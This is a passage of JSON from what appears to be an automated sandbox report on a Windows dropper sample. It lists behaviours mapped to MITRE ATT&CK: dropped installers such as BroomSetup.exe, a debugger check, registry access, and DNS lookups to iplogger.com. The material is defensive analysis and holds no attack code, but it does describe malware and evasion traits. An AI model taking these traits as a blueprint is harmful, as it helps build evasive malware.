MemberReference \"GetAttributes\" in \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\"\n Observed Namespace \"System.IO.File\" and MemberReference \"SetAttributes\" in \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\"","origin":"Static Parser","mitre_attack_id":"T1222","relevance":1,"id":"static-155","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp, 00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp, 00000000-00003572.00000002.84706.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp, 00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00004256.00000000.82684.0081E000.00000004.mdmp, 00000000-00004256.00000001.84604.712F8000.00000002.mdmp, 00000000-00004256.00000002.86530.0081D000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Dotnet)","description":"Observed function \"Process.get_StartInfo\" in \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\"\n Observed function \"Process.Start\" in \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-111","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Contains export functions","description":"\"BroomSetup.exe\" contains export function called \"TMethodImplementationIntercept\" at ordinal 3\n \"BroomSetup.exe\" contains export function called \"__dbk_fcall_wrapper\" at ordinal 2\n \"BroomSetup.exe\" contains export function called \"dbkFCallWrapperAddr\" at ordinal 1\n \"Math.dll\" contains export function called \"Script\" at ordinal 1\n \"INetC.dll\" contains export function called \"get\" at ordinal 1\n \"INetC.dll\" contains export function called \"head\" at ordinal 2\n \"INetC.dll\" contains export function called \"post\" at ordinal 3\n \"INetC.dll\" contains export function called \"put\" at ordinal 4","origin":"Static Parser","relevance":1,"id":"static-78","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Contains reference to Windows Startup folder","description":"$40","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":1,"id":"string-265","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"General","name":"Contains reference to method used by Windows shell items (API string)","description":"Found reference to API \"SHFileOperationW\" (Indicator: \"SHFileOperation\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"SHFileOperationW\" (Indicator: \"SHFileOperation\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-269","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Contains references to file movement (imports API)","description":"Found MoveFileW in import section (Source: InstallSetup9.exe)","origin":"Static Parser","mitre_attack_id":"T1083","relevance":1,"id":"static-205","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$41","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"Process d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Global\\CLR_PerfMon_WrapMutex\"\n Process d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n Process d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n Process InstallSetup9.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n Process InstallSetup9.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Dotnet code contains ability to modify/delete registry","description":"Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"SetValue\" in \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\"","origin":"Static Parser","mitre_attack_id":"T1112","relevance":1,"id":"static-139","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"BroomSetup.exe\" as clean (type is \"PE32 executable for MS Windows 5.00 (GUI) Intel i386 11 sections\"), Antivirus vendors marked dropped file \"Math.dll\" as clean (type is \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections\"), Antivirus vendors marked dropped file \"INetC.dll\" as clean (type is \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$42","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"InstallSetup9.exe\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"Math.dll\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"cps-requests@verisign.com\"\n Pattern match: \"info@diginotar.nl\"\n Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"General","name":"Found Native API in Dotnet file","description":"Observed unmanaged function \"GetModuleHandle\" in \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\"\n Observed unmanaged function \"CheckRemoteDebuggerPresent\" in \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-101","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Found User Agent related strings","description":"Found string \"User-Agent: NSIS_Inetc (Mozilla)\" (Indicator: \"user-agent: \"; Source: \"00000000-00003572.00000001.84328.00610000.00000004.mdmp\")\n Found string \"User-Agent: Microsoft-CryptoAPI/6.1\" (Indicator: \"user-agent: \"; Source: \"00000000-00003572.00000002.84706.00610000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\VBoxMiniRdDN\n Found string - \\\\.\\pipe\\VBoxTrayIPC","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$43","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"General","name":"GETs files from a web server (PE files)","description":"$44","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"General","name":"Loads Windows LDAP client module","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at 76B10000\n \"InstallSetup9.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at 76B10000\n \"BroomSetup.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at 76B10000","origin":"Loaded Module","mitre_attack_id":"T1069.002","relevance":3,"id":"module-17","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$45","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 62FD0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"InstallSetup9.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 74880000\n \"InstallSetup9.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 74440000\n \"288c47bbc1871b439df19ff4df68f076.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 74880000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 63C30000\n \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 643E0000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 75900000\n \"InstallSetup9.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 75900000\n \"288c47bbc1871b439df19ff4df68f076.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 75900000\n \"BroomSetup.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 75900000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"1300140054f4d376@RPCRT4.dll\"\n \"1800190068e8156b@api-ms-win-core-synch-l1-2-0.dll\"\n \"1800190088e8156b@api-ms-win-core-synch-l1-2-0.dll\"\n \"0d000e00cc5f156b@ntdll.dll\"\n \"0d000e002203766b@ADVAPI32.dll\"\n \"0d000e00fe02766b@ADVAPI32.dll\"\n \"0b000c00cc02766b@ADVAPI32.dll\"\n \"10001100da02766b@ADVAPI32.dll\"\n \"150016002073066e@ADVAPI32.dll\"\n \"0e000f00e473066e@ADVAPI32.dll\"\n \"0e000f005074066e@ADVAPI32.dll\"\n \"11001200d47d066e@ADVAPI32.dll\"\n \"110012007c7e066e@ADVAPI32.dll\"\n \"12001300cc7e066e@ADVAPI32.dll\"\n \"12001300387f066e@ADVAPI32.dll\"\n \"14001500e4b7066e@ADVAPI32.dll\"\n \"1400150000b8066e@ADVAPI32.dll\"\n \"140015001cb8066e@ADVAPI32.dll\"\n \"1700180038b8066e@ADVAPI32.dll\"\n \"0d000e0054b8066e@ADVAPI32.dll\"\n \"1100120064b8066e@ADVAPI32.dll\"\n \"110012007cb8066e@ADVAPI32.dll\"\n \"0f001000ecb9066e@ADVAPI32.dll\"\n \"1400150038ba066e@ADVAPI32.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\" was detected as \".NET\" and name: \"Library\"\n \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"BroomSetup.exe\" was detected as \".NET\" and name: \"Library\"\n \"BroomSetup.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"288c47bbc1871b439df19ff4df68f076.exe\" was detected as \".NET\" and name: \"Library\"\n \"288c47bbc1871b439df19ff4df68f076.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"InstallSetup9.exe\" was detected as \".NET\" and name: \"Library\"\n \"InstallSetup9.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"Math.dll\" was detected as \".NET\" and name: \"Library\"\n \"Math.dll\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"INetC.dll\" was detected as \".NET\" and name: \"Library\"\n \"INetC.dll\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$46","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"PE file contains COM data directory","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\" has COM data directory \"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR\"","origin":"Static Parser","id":"static-144","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\" has an executable section named \".text\"\n \"BroomSetup.exe\" has an executable section named \".text\"\n \"BroomSetup.exe\" has an executable section named \".itext\"\n \"288c47bbc1871b439df19ff4df68f076.exe\" has an executable section named \".text\"\n \"InstallSetup9.exe\" has an executable section named \".text\"\n \"Math.dll\" has an executable section named \".text\"\n \"INetC.dll\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"PE file contains large number of import functions","description":"Observed large number of imported APIs from \"user32.dll\" : \"216\" [Source: BroomSetup.exe]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-145","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"BroomSetup.exe\" has an writable section named \".data\"\n \"BroomSetup.exe\" has an writable section named \".bss\"\n \"BroomSetup.exe\" has an writable section named \".idata\"\n \"BroomSetup.exe\" has an writable section named \".didata\"\n \"BroomSetup.exe\" has an writable section named \".tls\"\n \"288c47bbc1871b439df19ff4df68f076.exe\" has an writable section named \".data\"\n \"288c47bbc1871b439df19ff4df68f076.exe\" has an writable section named \".tls\"\n \"288c47bbc1871b439df19ff4df68f076.exe\" has an writable section named \".puge\"\n \"288c47bbc1871b439df19ff4df68f076.exe\" has an writable section named \".hikutev\"\n \"InstallSetup9.exe\" has an writable section named \".data\"\n \"InstallSetup9.exe\" has an writable section named \".ndata\"\n \"Math.dll\" has an writable section named \".data\"\n \"INetC.dll\" has an writable section named \".data\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$47","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x698400\" greater than 0x100000\n Raw size of \".text\" is \"0x3ed600\" greater than 0x100000\n Raw size of \".text\" is \"0x415a00\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x698234\" greater than 0x100000\n Virtual size of \".text\" is \"0x3ed55c\" greater than 0x100000\n Virtual size of \".text\" is \"0x415851\" greater than 0x100000\n Virtual size of \".rsrc\" is \"0x4f22b0\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"InstallSetup9.exe\" (UID: 00000000-00003572) was launched with new environment variables: \"USERDNSDOMAIN=\"%OSUSER%-PC\"\"\n Process \"InstallSetup9.exe\" (UID: 00000000-00003572) was launched with modified environment variables: \"NUMBER_OF_PROCESSORS\"\n Process \"288c47bbc1871b439df19ff4df68f076.exe\" (UID: 00000000-00002180) was launched with modified environment variables: \"LOCALAPPDATA, USERDOMAIN, APPDATA, USERNAME, Path, HOMEPATH, TEMP, USERPROFILE, TMP, NUMBER_OF_PROCESSORS\"\n Process \"288c47bbc1871b439df19ff4df68f076.exe\" (UID: 00000000-00002180) was launched with missing environment variables: \"LOGONSERVER, USERDNSDOMAIN\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"api.ipify.org\"\n \"c.pki.goog\"\n \"iplogger.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"InstallSetup9.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$48","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"References Windows LDAP client module","description":"Found string \":\\Windows\\system32\\WLDAP32.dll\" (Source: \"00000000-00001156.00000001.82229.00490000.00000004.mdmp\")\n Found string \":\\Windows\\system32\\WLDAP32.dll\" (Source: \"00000000-00003572.00000000.82404.00610000.00000004.mdmp, 00000000-00003572.00000001.84328.00610000.00000004.mdmp, 00000000-00003572.00000002.84706.00610000.00000004.mdmp\")\n Found string \":\\Windows\\system32\\WLDAP32.dll\" (Source: \"00000000-00004256.00000001.84604.00B30000.00000004.mdmp, 00000000-00004256.00000002.86530.00B30000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1069.002","relevance":1,"id":"string-987","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$49","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"BroomSetup.exe\" searching for class \"msctls_updown32\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"InstallSetup9.exe\" (UID: 00000000-00003572)\n Spawned process \"288c47bbc1871b439df19ff4df68f076.exe\" (UID: 00000000-00002516)\n Spawned process \"BroomSetup.exe\" (UID: 00000000-00004256)\n Spawned process \"288c47bbc1871b439df19ff4df68f076.exe\" (UID: 00000000-00002180)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"InstallSetup9.exe\" (UID: 00000000-00003572)\n Spawned process \"288c47bbc1871b439df19ff4df68f076.exe\" (UID: 00000000-00002516)\n Spawned process \"BroomSetup.exe\" (UID: 00000000-00004256)\n Spawned process \"288c47bbc1871b439df19ff4df68f076.exe\" (UID: 00000000-00002180)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"The input sample is signed with a certificate issued by \"CN=WE1, O=Google Trust Services, C=US\" (SHA1: EA:94:25:44:73:AA:8B:94:E1:0B:FC:C9:0C:4E:78:AF:A4:E0:85:12; see report for more information)\n The input sample is signed with a certificate issued by \"CN=GTS Root R4, O=Google Trust Services LLC, C=US\" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information)\n The input sample is signed with a certificate issued by \"CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE\" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information)","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"BroomSetup.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"288c47bbc1871b439df19ff4df68f076.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"InstallSetup9.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"Math.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"INetC.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\InstallSetup9.exe\"\n \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\288c47bbc1871b439df19ff4df68f076.exe\"\n \"InstallSetup9.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\BroomSetup.exe\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" connecting to \"\\ThemeApiPort\"\n \"InstallSetup9.exe\" connecting to \"\\ThemeApiPort\"\n \"288c47bbc1871b439df19ff4df68f076.exe\" connecting to \"\\ThemeApiPort\"\n 